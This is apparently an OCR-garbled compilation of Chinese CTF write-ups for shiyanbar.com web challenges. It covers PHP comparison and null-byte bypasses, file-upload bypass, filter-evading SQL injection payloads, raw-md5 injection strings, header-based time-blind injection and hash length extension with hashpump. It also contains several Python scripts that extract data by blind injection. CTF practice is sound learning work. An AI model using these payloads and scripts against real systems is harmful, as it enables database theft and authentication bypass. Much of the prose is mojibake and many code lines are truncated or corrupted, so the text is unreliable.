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$a = $_POST["PIN"];

if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
echo "Congratulations! The flag is $flag";
} else {

echo "User with provided PIN not found.";

}
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$user = $ POST[user];
$pass = md5($_POST[pass]);
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if (($row[pw]) & (!strcasecmp($pass, $row[pw])))
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“token™ int(255) NOT NULL DEFAULT 'e@',



INSERT INTO “user” ("id", “username’, “email’, "“token’) VALUES
(1, -****yg%%ﬁﬁ@***') '***E%Eﬂ%@***', 0);

if(strlen($token)!=10) die('fail');
if($token!='0") die('fail');
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2. else if (strlen($ GET['password']) < 8 && $ GET['password']l > 9999999) MK E /T8, EEKATI999999, XA
FEW, R,

9200007] AR~ A9.2*105, £1E9.25&10/I5KJ7

10e9RNHF R10X10/J9KT7, 9e9 =9X10/J9KTT, 8e9 7e9

3. if (strpos ($_GET['password'], '*-*') !== FALSE) @&FEE**

FHo0&E MW, ZFnttps://blog.csdn.net/p656456564545/article/details/17883305
SO0~BE AT LA R &ML, 3, Mb&fF2, W 7e9%00+#F LA, urlHNJEZEM
http://ctf5.shiyanbar.com/web/more.php?password=7e9%2500*-*, FIhMER25, MHEMflag
9. http://shiyanbar.com/ctf/1781

bypass the upload

¥R: flag{}

fRE%EB:: http://ctf5.shiyanbar.com/web/upload
BER bAL, U A s VB SO KA (S B AEipg gif pngERIOSCHE, FAIINLL . jpg, WIHIL

Stored in: ./uploads/8a9e5f6a7a789%acb.php
WAL UG B4 Nphp BT A AT php Ml pg BRI,

OO &SI /G B A4 B — %0057, 7T LA RE £ iR HOnt S A K, R LIES REeh, MBS KRB 000N AR L IERF. 4]
. W A% R AL B php%00.jpght, &SGR AR GERjpgik R, Ll kA, ERIEAR, BE %0074, EFEMKjpg, XHEHR
RARIEH G 48 Fxx.php

HREXERNREEN, BUSHREER, X2 H R,

AEAA A jpglll ik 4 A% b & S0 B] 42 Apicture/ 1.php+1.jpg,  Ox00A T i) 8 B B o+ J& B9 A 8 B G 34 A% SCAF 1 jpe e 4 L A2 E] 1. phpH,
Ik A F 2 A2 OO0 ) BT IR, T PR o R A i 1

Lijpg LAEZIBR4E, bpitATRRWT, R /Gactionki%Flrepeater, H/uploads/f] H X E4%, B XUN//uploads/1.phpt, #RJ5 Fhex BT YH+5 X B A $E 25
800, NERA, BNERN—ADNZHHEE, BSOTRN+SH, BRGEErawv P BREE, RTE Dfag

10+ http://shiyanbar.com/ctf/1788

EANEEREREHRT, 23333
hint: TREEREINEE HIW K2

¥ cTF{)

fRE%EE: http://ctf5.shiyanbar.com/web/Session.php


https://www.baidu.com/s?wd=e9&tn=SE_PcZhidaonwhc_ngpagmjz&fenlei=mv6quAkxTZn0IZRqIHckPjm4nH00T1dWnjRvnHmkuA79uhRvrAPh0ZwV5Hcvrjm3rH6sPfKWUMw85NP7gdKWyh9GuA7EUMICmdq8uLK9uvdJX6K1TL0qnfK1TL0z5HD0IgF_5y9YIZ0lQzqlpA-bmyt8mh7GuZR8mvqVQL7dugPYpyq8Q1fLnH0vnjc4

BEWENE, KW if (S GET['password'] == $ SESSION['password'])
REBTpasslIF], fEop MG T session, #RAEIAT

11+ http://shiyanbar.com/ctf/1875

BEEARE f1lagl (BN flag{)) .

fRFREERE: http://ctf5.shiyanbar.com/423/web/

FEXAERMANT, R, HEARId=1, EXHERAT, R, W, 'BELE,

1"and "1'="1 ®ARE, B/Rc@idsE, 1'or"1'="1 ME/RIEY, RHandCLgIIE, HE2orKA, FEH
union

1' union select "1 %A iR[E, ERiT¥Eunion, select
3 [8 E 5 2242371 unionunion selectselect "1'="1 | & /= EHE 4 IEFE, F Funion select 1=1,

EEIMANZEK, 1' unionunion selectselect '"1'="1, E/RIE® 1D: 1' union select '1'='1,%HselectE & IE
e
8

T—% Eselect flag from flag, &EAEMNFBERELRIEER, HiEselect table_name from
informateion_schema.tables

1' unionunion selectselect table name fromfrom information_schema.tables wherewhere '1'="1

ZRIRFEVLAE ' 5, MandBidiE, FHHEIIIMAwherewhere '1'="1 ,REKRIFTadnin flag
web 1=5KEK,

BANREIMER R LagRPEHAFE, select column_name from

information schema.columns where table name='flag

1' unionunion selectselect column_nacolumn_nameme fromfrom information_schema.coinformation_schema.col

WANREA flagMid®isl, THBRERRT

I
[any

1' wunionunion selectselect flag fromfrom flag wherewhere '1'='

BRF%, H—%flag

12. http://shiyanbar.com/ctf/1908

A EEMmysqliEAN

¥R: flag{}

fREEERE:  hitp://ctf5.shiyanbar.com/web/index_2.php

'S ARRBOLIE, FTLMEA, THMEZTK, TREERAN,

T UA%20, %0a, /**/, [¥P¥[, [¥150000%/, +, ()B#, HH1%20, +MO)HBPOIIET, SR/ BRTHETLIGT, 3T HAMKFRHF
A AT 2R B IE,



g . '/%* [union/** select/** flag/** [from/**/flag#
13. http://shiyanbar.com/ctf/1942

AEWEE, REAETIET —V), EEEIRIEN, FEIEIEIEIE |
flaghhi: ctf{xxxx)

fRBE:: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html

tor 1=1# HIEREIRK, '1=1 Bx'EH, ERor #% 10,
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SGRUUHEFEHEK, HAEPEELEENnysql, SHid, BRMHFRHETEE, —F id=2 and 1=1, HSt
—M id=2 union select 1,2, THHAZLBWHIELIEE: --dbs, KImy_dbtest, THEBE -D
"my_db" —tables, &KInews, thiskey, 4kEIBBETFB, -T "thiskey" —column, KILFEtkOy, k%% -T "thiskey" -
column --dump MIAZI¥E, 8K EFRRBE -D HdEE -T HIER -CFl --DUMPRER -D "my_db" -T "thiskey" --
dump 2R LK, --FRRER
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1d=131T4bE, RRATLAMEid=1" AND 5858=5858 AND 'yJRX'='yJRXFHITHHEE, --dbsBHERR,
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#!/usr/bin/python
#coding=utf-8
#Author = One

import requests

def main():
n=2~0
binary =
flag = ""
for i in range(1,1000):
for j in range(8):
url = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and 1=if((ascii(substring((select flag f
request = requests.get(url)

if(request.text.find('Hello!"') != -1):
binary = '1'+binary
n==2
else:
binary = '@'+binary
n+=1

print chr(int(binary,2)),
flag += chr(int(binary,2))
binary = ""
if(n >= 8):
print "\n"+flag
break

if _name__ == '__main__"':
main()

# BRI RIEMG 57, HEEEINEHE TR TAER, HRSRUE—NFRER
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fRBBEE: nttp://ctf5.shiyanbar.com/web/web200.3pg

<?php

$str = "alzlLbgQsCESEIGRLWUQAYMwLYq2L5VWBXqGA3RQAYUMZOtmMYSGM2ZwWBA4tws";
$_o0="";

$_ = base64_decode(strrev(str_rotl13($str)));
for($_0=0;%_0<strlen($_);$_0++)

{
$_c = substr($_,$_0,1);
$_ = ord($_c)-1;
$ c = chr($_);
$0=%0.%5c;

)

echo strrev($_o);

?>

Bidord )R EE# 5 AL IEH BE Z N EHRIASCIIE .
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HTTP_CLIENT IP Al httpsk i

HTTP_ X FORWARDED FOR H[i@idhttpskihi&

REMOTE_ADDR A RERH P REIPH st AP
firefoxff)X-Forwarded-For Injector® 35 T AT b fh3E, &bl BpwT

FEourp BEHBEMX-Forwarded-For: 1.1.1.1, &IN)EHATPASZBLRR
Client-IP:1.1.1.1f1Remote-addr:1.1.1.1,2 —F K& 3
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fRREE¥E: http://ctf5.shiyanbar.com/basic/catch/

BIRIEEY, Bourpf, HEZZHMEA, EdRRZok
19, http://shiyanbar.com/ctf/2036
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BEFRW, emmmiEAERET. BurlIEFRIER), 2, MR, . -

JEAY R $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5 (Spassword, true)."'";
FEmds % F#ITER, RENEZKRFEHFE —REMAhex®R, REHEsqLBAPNZFTEHtext,
WHE A XN or 6« 77>, MAZlsqlH, MEHA, password®M T 1, AEHTHNW, MMLR>0

1. $sql="select password from users where password="''or'<xxx>""

2% hitp://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

BRI RIE A FREH 129581926211651571912466741651878684928 md5 TODo#'or'8
ffifdyop md5 ‘'or'6]'r,b
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fRBSER:: nttp://ctf5.shiyanbar.com/basic/inject

BEWH , sglmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?
admin=admin&pass=pass&action=login"B#iTsqlmapiFE AN, adminAVIAL, HEsqlmapIERk
e HE: MFH@EMgetiEAN, WRBFAHFA, i J5/mand "=

*Eboolean-based Hadmin=admin' and '1'='1 &pass=pass&action=login ERE P 2R
G


http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

HEEEtine-based, HRadmin=admin' and sleep(5) and '1'="'1
&pass:pass&action:login,ﬁﬁﬁi@ﬁy&%{

K T T,

BARANERLE, WA HEAselect PRI LIL,

http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin'

< |
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EREAMEHTHEMRE, BRHHEESadnin, HHEIW

# -*-coding:utf-8-*-

import requests

import time

payloads

= 'abcdefghijklmnopgrstuvwxyz0123456789@ .{}-' #ARX2KNERK

flag = ""

key=0

print("Start")
for i in range(1,50):

if key == 1:

for

break
payload in payloads:
starttime = time.time()#icF4aTMH A
headers = {"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471
"Connection": "keep-alive",
}
url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,
res = requests.get(url, headers=headers)
if time.time() - starttime > 10:
flag += payload
print('\n pwd is:', flag)
break
else:
if payload == '-':
key = 1
break

print('\n[Finally] current pwd is %s' % flag)

if payload == '-':key=1 MXH, -EZKpayloadsi/s—KE, R —IKIAE Kpayloasdsi A ILE ) BH Bk H %
AMERR, AESOT (—HHEE, TTRREBAE, ArEEERILANF/RELHRED

40 EE R substriEsqls phpF A E],  sqlft MIFF I AZE — N HSSALE, Brblrange (500 1% Arange (1,50)
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HHRMnet frameworkBEWH4 . %, 9. LHBkid. . . Make sure you are in the region of England and
browsing this site with Internet Explorerit £ 5i& 5 M PS5 7. % EESnet framework 9.9, England
» browsing this site with E=4, IME©E%, F—ak#E NETCLR9.9

X EBEBER L Accept-Languagefilix % 2% th %5 i /7 AR #E user-agent,

B : User-AgentHttoth il F i —#B4, BT KRMARES, User AgenttB fEFRUA. FIEC LB — SR, R——FHE
U i P s R AL VR BT P O M B8 KR . MR R A RRA . cPU BB, WG aE LTI, MM IES . W SSESE BT
o UAFZRFBIEGRIER HTTP iE R RIEB MRS 2!

WARUA FHR KRR UESIRR (BERGRR MEBESLRR; MESES) BRI ERR A ER

1E ASP.NET Hf# | Request.Header["User-Agent"] 8RNI WA H User Agent, tHAJLAER Request.UserAgent R3REX; Java #
kd A request.getHeader(” User-Agent” ) kKT, P H P HAHRAEH: $_SERVER[HTTP_USER_AGENT]; JSH U{#
Fnavigator.userAgent>R3R78, AR BAH_E MSIE 9.0

in england>R#iE 1% S 8. FHhttp://www. lingoes. cn/zh/translator/langcode. htmW] LAHf 52 Accept-LanguagedE E Aen-
gb X BEHIgbE /NG

bp L3, BHRFEEK. . . user-agent MSIE 9.0;.NETCLR 9.9, ok

22~ http://shiyanbar.com/ctf/1854

BRIk

AR: cTF{ }

fRBEER:: http://ctf5.shiyanbar.com/web/10/10.php

<1-- please post what you find with parameter:key -->¥] FFRILIXAS, ©4ibp L,
FLAG: UDBTVFIOUSEITX1QwXONINESHRVIGTDRHOM1YZ1FPYZBLbA==

UDBTVFOUSELTX10wXONINESHRVIGTDRHOLkxVIWt2d1NObw==183 PR flagLERR, UHERSHZ G
EmRSBpost EiRHIkevEA BIBR], —FLRETEL
UDBTVFOUSE1TX1QwXONINESHRVIGTDRHOkIpajdEZGY zVw==44 X ME#H Tbase6 4 MY, RIEN
POST THIS TO CHANGE FL4G:Bij7DAf3W, ¥yOBtcfmTFi#{Tbase64 Skey AR, fEparams i
body key yOBtcfmTFMbase64dmld KIZHMREE, BELWAH, HAMERNEMR, A Gpython
BEATIRAE

pythonfXASHI T«

import requests
import base64

url = "http://ctf5.shiyanbar.com/web/10/10.php"

s = requests.session()

response = s.get(url)

head = response.headers

flag = base64.b64decode(head['FLAG']).split(':")[1]
data = {'key': flag}

result = s.post(url=url, data=data)

print result.text

23, http://shiyanbar.com/ctf/1846



WA R R 4538, A REEEIF1ag?
KR CcTF(}
fREEHE: http://ctf5.shiyanbar.com/indirection/

BEFEMRIY, //%—, RITTLME /indirection/a/../ /indirection/./ Z&ix—3kKH
J/FTCL, B—AERBRAANBHA ./

/I, BAITLE \ SRREBBOSER /

J/FTCL, BIABERBESBHA ../

//B=, AMRARNSEA, Bl indirectioN/

/R DA 2SS TR R, XTEEL B

//FTEL, BEAERMNAT AR FERM T R, a-z / .
/I, 24/ WRFK

//FTEL, BNUAERZEAFHI //

//%H, BN Eindex. phpEi# I8 2 index . php#l A& 7] LA
//FTBATF — AN E R R VAR E /index.php, FFHLILEERE
/ /N, BATHBAE index . phoJa H AN . 52 7T LA
/BN Ep R B XA S

/158G, DTER BRI AT %]

/ /PRI SURLIL A5 / indirection/index . phpH BT AR

XERATAT R A E SR, M

http://ctf10.shiyanbar.com:8888/indirection/index.php/index.php, index.php)& Kindex.php&# 4 S Hab #,
Fr AR %528 R &t 36 —ANindex.php, & 2% i Ih 5t

URLEE, HEHEEHF —KESHMurl, THR—NEF ELZBIEN U, FEHRR AT HRIIE
Iviewthread.jsp?id=1234 H 525 2 /viewthread/1234.htm

faj B3k, L inhttp://ctf5.shiyanbar.comvindirection/index.php/user/index.php, B4R 7Eindex.php/a &N LT
—ERPG, EHRERX A user @i iS4, Tindex phpll < i@ Biuserii{E

24, http://shiyanbar.com/ctf/2008

RAEM PP ?

2 BRAR?

fRB%E: http://ctf5.shiyanbar.com/web/PHP/index.php

have a fun!!e o o o o o burpIMfBServer: Apache/2.4.18 (Win32) OpenSSL/1.0.2e
PHP/5.3.29

hint: 6c525af4059b4fe7d8c33a. txt ML,



function is_palindrome_number($number) {
$number = strval($number); //ZAEREFIREEHERKKZ SR ERR LW R 7R/ R RA.
$i = 0;
$j = strlen($number) - 1;//strlen() BEUREFZHHKKE
while($i < $3j) {
if($number[$i] !'== $number[$j]) {
return false;

}

$it++;

$3--;
}

return true;

if (is_palindrome_number( $req [ "number" ]1)){ $info = "nice! {$valuel} is a palindrome number!" ;

FAFL, REARRRML21HEI S, WRZ, WiBEnice, 1212 —NECH

//Hk R REE A IF(is_numeric($_REQUEST[ 'number'])){ $info="sorry, you cann't input a number!";

FMo AN AT, BRI EME T, 83/ . (His_numericE BB ) RIEBR BN FRMFFHE, B
B

$valuel = intval($req["number"]);

$value2 = intval(strrev($req["number"]));
if($valuel!=$value2){
$info="no, this is not a palindrome number!";

%43, MBRARECNRRZIAR—ANECE, ERBIRECE, MEMHFLIHR,  numbers Bk mBAIH%E

elseif($req[ 'number']!=strval(intval($req[ 'number']1))){

$info = "number must be equal to it's integer!! ";

F4, MALAETMRELS  SHnumber 52N AR A FFFH Fnumbertl 5, 542 R
e &R Llbody number 0e00%00 ] Hpost[Hl 3=

1.number=0e00%005% % 0600%20

K AR Huk g pocinumber=0e-0%00, X FERIERATH AT bhgsid . #i&0=0

0e-0%¢id $req[ ' number' ]!=strval(intval($req[ 'number']))

JEHEM—ANT BFRF (B Municodedmidid 197 BEZ/FW: %00, %20%) et
is_numeric($_REQUEST[ 'number’'])

KEM%O0FRE T E, %0 REEH, EH—RIFL T LRI %



2. 7 FH BR i 5 59 number=2147483647%00

ZEintval , Intvall KMEBRTEIERZ. 32 M RAR KR SH integer Y[l & -2147483648 3|
2147483647, intval(‘1000000000000’) &R [F] 2147483647, 64 fL R4 L, B AT SH integer H2
9223372036854775807 . HATIXNR320L R %, i EHEBRAIME RS 2 1EIERGRI20, FrUlRMAE
21474836475 7] LARI B 1 22, 3. BT F A PLgeidis_numerici) Il (n1%00,%20) B EAFRATIH
&Ll Fpoc, number=2147483647%00 Fnumber=2147483647%20% ] . Xt F 58— %4, BIIBEMERLE
BATHI pockl R BCAIWT NAESUE, BEX KW EERAE, BELARBSRZ/RNTEZRF. MEd KT RN
is_numericiR o T 2= F 87 %00, Toid = %O00FE 7 J5 #F] LA AIEHUE, %2078 #& 74 R e ERUE S -
Frbl, BEERBRINZBESXN T B N TR A TR FZ AN, BEFmRHAR! !

HEH: intval()E B EHE, 2% NFRF S R EHT R mEE S — N ERER TR BIME I TR R+
frE, intval( A2 iREET IR [EI0. Fr LAWE LR IX AN intval ik SR 3615 178 JUAS s a] BAZFI A

1.3 H

21633 )8 5 2 AL &is_numeric()f# A

3BTk

var_dump((int)('1le-1000"')>0);var_dump('le-1000'>0);bool(true)bool(false)
var_dump((int)('le-10")>0);var_dump('le-10'>0);bool(true)bool(true)

FER AT AT B BN, R EFHEH/NTREMESFFAL double 87, Faa | H N int AR
ARRESFADHER, WRRAEZER 1e-1000 B EL AT LR X MNRRSEHMEE, HEELREHERT
0 XAKTF 0.

25, http://shiyanbar.com/ctf/1940

Vil @B LU R H , AT LU ITE . RIBwebB— RS RBKREMEWE. FIFENG, EXR, WM. B
5BEER—BHAREAREflag. RERZIEMHFIFLagBIA[E 0. web@BEEEESOLIEN, XSSHMHK
R, WRAFRBRL. WEEEY RELET, MysoLIHRMIER,

flagh cTF{}

fRRBEERE:  http://ctf5.shiyanbar.com/web/pcat/index.php

BHEVEM <1 ——source: source.txt--> Hrhand|select|from|where|union|join|slkeep|benchmark|, |\(|\)4 #Bid 3%,
$5ql="SELECT * FROM interest WHERE uname = '{$ POST['uname']}'";

if (mysql num rows ($query) == 1) {
if ($key['pwd'] == $ POST['pwd']) {

WEA P ZEREN, BRGEEWHR—%, Riapwd5HEEE+ 8074 st

FIHgroup by pwd with rolupZEE #1H i1—AME A, A AT BUR Bl pwd B ZE B IR — 2510 3%, @i imitke il iR B — 4%, Bt A LUREIZ %, —
HiREI2Z KV E, pwdst&AZ, HE—%KiCsH B2 B IEH B (FRA11E Fgroup by pwd with rollup SREE#H S REIN—17, FHFHIX
— 1T pwd 7 B HI4E INULL)

uname="or 1=1 group by pwd with rollup limit 1 offset 2 # & pwd=

> or 1=1 group by pwd with rollup limit 1 offset XX# offset—EERRE—1T, EARPAET



X B @R — T R BT B SQL:

SELECT * FROM interest where uname=""or 1=1

group by pwd with rollup  (ZE %38 B H i — 1748 pwd=NULL )
limit 1 (REWE—47)

offset2 (AEATHIREW)

HERE

Wi 25 5 R Oy 2 B R A ) AR T

MAFAZ—RAERERAT, RAIWARpwdt ZE, WM T if(nul==nul) Atrue

&1 rolup) il



mysql> create table test (

-> user varchar(100) not null,

-> pwd varchar(100) not null);
mysql>insert into test values("admin","mypass");
mysqgl>select * from test group by pwd with rollup
mysql> select * from test group by pwd with rollup;

| guest | alsomypass |
| admin | mypass |
| admin | NULL |
o R +

3 rows in set

mysql> select * from test group by pwd with rollup limit 1

| guest | alsomypass |

to--m- o Fommmmmmmm-- +

1 row in set

mysql> select * from test group by pwd with rollup limit 1 offset 1

| admin | mypass |

Fommmmm - e +

1 row in set

mysql> select * from test group by pwd with rollup limit 1 offset 2

4mmmmm 4o +
| user | pwd |
4mmmmmm- 4o +
| admin | NULL |
4omoimio - RS +

1 row in set

26+ http://shiyanbar.com/ctf/1941 (EIRTEEMHR)

REEBERM AT IEFdoFE!

fRBEERE: http://ctf5.shiyanbar.com/web/wonderkun/index.php HiEZEHip, XAMRHAEH. . « BB FKEZuser agenti:
A, HupdatexmhX—TF, HAEREER.. ERXANBEAIT, WEETTPHHMIPER, L
http://www.cnblogs.com/x2048/articles/1794020.html, HEFEHKRTIAAMEZ cookieBIEMipfRHE, cookiem LAfhiE—TF4ksk, ipf
HRRG, #RANE, DRNIESREELE N LR, TCPEHEMMESER=ZIREBEFEANEER, THTTPE H K25 R QR SHAEEZ
HREBHPTHT TPIER F 2B Ex-forward-forf5 8, RATMAZEEIEENFERPMA x-forward-forffifhisE R, h&ERE, THZHA K ik
IR 53



X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP

x-remote-addr

X-Forwarded-Forfhiiwhat, M G#HZBwhat T, BB E REFBGEHROAEICFdbH E!

M2 mRinsert into VEN, ERESXBEEE, HibAhs, BARARKMELZE, BESZHHANEERBEAN, HERESH,
MAF R —8, HBRESFEHEARF. o .

ERRFE, AEWERNRMHAER, HLREBAE, FT THAMwiteupRIL, HEIE G LESEABRXHER, &HERNEIHTTP-X-
Forwarded-For, XJflitfT FAFep L, ABBUESHIKAE, RFEERSEE N BT, HBMARSEE, BN ZEANFEAGSR ML,
BRIV a0 R A A e e A3, B DUAB B8 B O SR RS BRGZ R AT T, IR [ U = AN BT R IR, IR 2077 LA R TR B

B J5 % S time-based 5 iF
bpHI B EMsqimap B KBRS, BB AERE, %5 REhttps//www.jianshu.com/p/5d34b3722128 % —FhFI 55 =+,

pythonfJ 0 T Z56H 2 T flagfFtgfEflagR Miflag /5 B, HflaghK & N32,

#-*-coding:utf-8-*-

import requests

import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.lowercase + string.uppercase + string.digits
flag=""

for i in range(1,33):
for str in guess:
headers={"x-forwarded-for":"xx"'+"+"(select case when (substring((select flag from flag ) from %d for 1
try:
res=requests.get(url,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout, e:
flag = flag + str
print "flag:", flag
break

print 'result:' + flag

result:cdbflXc9aded5be5612fKbb5d28678bl, WEMRIEHRE, EAHW L

27+ http://shiyanbar.com/ctf/1848 (EI RTEMHR)

RSB E N
Hint: {RATBER BRIER S S RAETH 4. -

R cTR{}
fRRRSER:: nhttp://ctf5.shiyanbar.com/web/kzhan.php

FEREMRTEEHI, admins only, EEH P %admins, BFbp, FFkHcookie, B source=0, KHH
A1, AR, HiHAS,

if (!empty($ COOKIE["getmein"])) ({ getmeinMlcookie NRENZ



if (urldecode (Susername) === "admin" && urldecode (Spassword) != "admin") { A

Zurlfftadmin, ZFWurl fEIET1EER
Ssecret = "XXXXXXXXXXXXXXX"; /

if ($SCOOKIE["getmein"] === md5($secret . urldecode ($Susername . S$password))) {

R B ER B BGERur 1R, Ssecret BEREBATnASINE,

setcookie ("sample-hash", md5 ($secret . urldecode ("admin" . "admin")), time() + (60 * 60 * 24 * 7)); F B sample-hash B HF7E

secret
sample-hash 2 —A"\md518, AILiZIE G A LAIkB )G & Wisecret, ARG UARIEXAMEM G IEHIMASE T, E2&md5Ine 2 B IA R,
ERENE R RARNOBM, BAEERATRT, HisecretF 1507, XEERBK— IR A Ehash Kk EY BLH,

salthn %

Friginsalt, stRMAER”. B ERIRMEELN GEFREMN) , bR EIHEZA RN —L Salti”, XAMER b RARENLAE R
#, FERBERGHE. REHES. MAHP SR, REAH P RERAEHMERER SatE”, REHS, BHRBIME, CHiE®EEe
HIEH.

BEEBRGEBALZ, T, XEMsecert BB — N RAMsalt, SFFXFpREsalt, (HidMDS5/shalin®, HEiHE —MBEFHIIMNE, HiZhashk
E¥REY . v LA hashpump SRi#EATHHE, AEH Fwindows

FEREH BT R 3

md5($secret. "adminadmin™ ) fi{E A571580b26c65f306376d4f64e53cb5c7

THMEBEE TR DL FER:
$secret®FEX, KE N5, WMRBH LFHEE—adnin, KEHE20

T dE £admin
%4 (M#F{E) R571580b26c65F306376d4f64e53cb5¢c7

XEHMERAME A ashPump, MINEIEZED14PLE:

# hashpump

Input Signature: 571580b26c65f306376d4f64e53cb5c7
Input Data: admin

Input Key Length: 20

Input Data to Add: pcat

BREHE
hashpump -s 571580b26c65f306376d4f64e53cb5c7 -d admin -k 20 -a pcat
e S

3e67e8f0cO5e1ad68020df30bbc505F5
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00pcat

FE—NMERINEL, BERERcookiesgetmeinE,
BRI\ BB NG, postRR



password=admin%80%00%007%007%00%00%007%007%00%00%007%007%00%007%007007%00%00%007%007%00%007%007%007%00%007%00700%00%007%007%
€87%007%00%007%007%00%00%00pcat

HE W HadddataNadmin, WMWITF:
XH, FHusernameNadmin, passwordH

1. admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\

WA, EERurldecode— T, BEHEE, 163 M urlencodeRI K \x3 k%, FrLhpassword N
1. adminadmin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C8%00%00%00%00

ETRRELR, WA hashiE, (AT :

BATARBY A B hashfH: e18dfd8404515016d3aceca2aal 96909
% Fhttps://blog.csdn.net/wy 97/article/details/762698194% & 3K F @Bit, FFil

FHE:

http://www.freebuf.com/articles/web/31756.html £ 4 75 K ™ B B i (Hash Length Extension Attacks)

http//blog.csdn.net/qq_18661257/article/details/53767761 MD5HH % L VAR (c M+ T)

http:/blog.csdn.net/syh 486 007/article/details/51228628 hash®s K EY BB H M GEx—TF, RIEAS)

BTN AENTEL (RINAAERN123)

username=admin&password=admin%80%007%00%007%00%00%00%00%00%00%007%00%00%00%00%00%00%007%00%007%00%00%00%

getmein= 961 a38ded@b8553041ca20dd34e8el189, {HASFHIARHFE,

Congratulations! You are a registered user.

The flag is CTF{cOOkieS_4nd_hAshIng GO w3LL_t@g3ther}

Input Signature: 571580b26c65f306376d4f64e53cb5c7Input Data: adminInput Key Length: 20Input Data to Add: 12396

< | n | F

28+ http://shiyanbar.com/ctf/2009 (R5EHK)

—EHRINEKR
fRBER:  http://ctf5.shiyanbar.com/web/earnest/index.php
18Fyou are in 1'®7Ryou are not in, YWHIBISRH, 1' and '1'="1HEN, BWERRIFHRIRS 222 KITIE T WL F R

and, union, é%y 7 #y +

EMIFEERENBAT: id=1"/**/or/**/'1'="1, ZRHMIEFET“you are not in...... "y B I R AR,
ERBMI R T

HEBMEWp, ERAMEFRRXIBRER S Eor, HEEX Torf RERAE, XMHNTLTRESEN, —BNEELEZE
~ILEor. or (RFKRAF) | or+ZHEHEBEH AT . HRBBRNEMHoorrKE, KILEZH AYou are in, HEi2H, /&
B ZRLEor N , HRHEBRNT, FEMUEET —K, WHESWR, WEEE#HSE, HERITE
E%0aRRE =



import requests

strl = 'You are in'
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"’
for i in range(1,30):
key = {'id':"@'oorr(length(database())=%s)oorr'0"%i}
r = requests.post(url, data=key).text
print(i)
if strl in r:
print('the length of database is %s'%i)
break

BEKER/H18

import requests

guess = '~abcdefghijklmnopgrstuvwxyz_0123456789"
strl = 'You are in'
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
database = "'
for i in range(1,19):
for j in guess:
key = {'id':"0'oorr((mid((database())from(%s)foorr(1)))="%s"')oorr'e" %(i,j)}
r = requests.post(url, data=key).text
print(key)
if strl in r:
database += j
print(J)
break
print(database)

B A PR

import requests

guess = '~abcdefghijklmnopgrstuvwxyz_ 0123456789
strl = 'You are in'
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"’
i=1
while True:
flag = "@'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(l)))from(infoorrmation
flag = flag.replace(' ', chr(@xea))
key = {'id':flag}
r = requests.post(url, data=key).text
print(key)
if strl in r:
print('the length of tables is %s'%i)
break

i+=1

RKE



import requests

guess = '~abcdefghijklmnopgrstuvwxyz_0123456789"

strl = 'You are in'
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"’
tables = "'

for i in range(1,12):
for j in guess:
flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrma
flag = flag.replace(' ', chr(@xea))
key = {'id':flag}
r = requests.post(url, data=key).text
print(key)
if strl in r:
tables += j
print(j)
break

print(tables)

R4

import requests

guess = '~abcdefghijklmnopgrstuvwxyz_0123456789"
strl = 'You are in'
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"’
i=1
while True:
flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1l)))from(infoorrmatio
flag = flag.replace(' ', chr(@xea))
key = {'id':flag}
r = requests.post(url, data=key).text
print(key)
if strl in r:
print('the length of columns is %s'%i)
break

i+=1

FlK



import requests

guess = '~abcdefghijklmnopgrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],."

strl = 'You are in'
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"’
columns = "'

for i in range(1,6):
for j in guess:
flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1l)))from(infoorrm
flag = flag.replace(' ', chr(@xea))
key = {'id':flag}
r = requests.post(url, data=key).text
print(key)
if strl in r:
columns += j
print(j)
break

print(columns)

1B

import requests

guess = '~abcdefghijklmnopgrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],."
strl = 'You are in'
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
il e d
while True:
flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1l)))from(fiag))="")oorr'e"%i
flag = flag.replace(' ', chr(@xea))
key = {'id':flag}
r = requests.post(url, data=key).text
print(key)
if strl in r:
print('the length of data is %s'%i)
break
i+=1

KR



data = "'
for i in range(1,14):
for j in guess:

flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(l)))from(fiag))="%s")oorr'e"%(i, j)
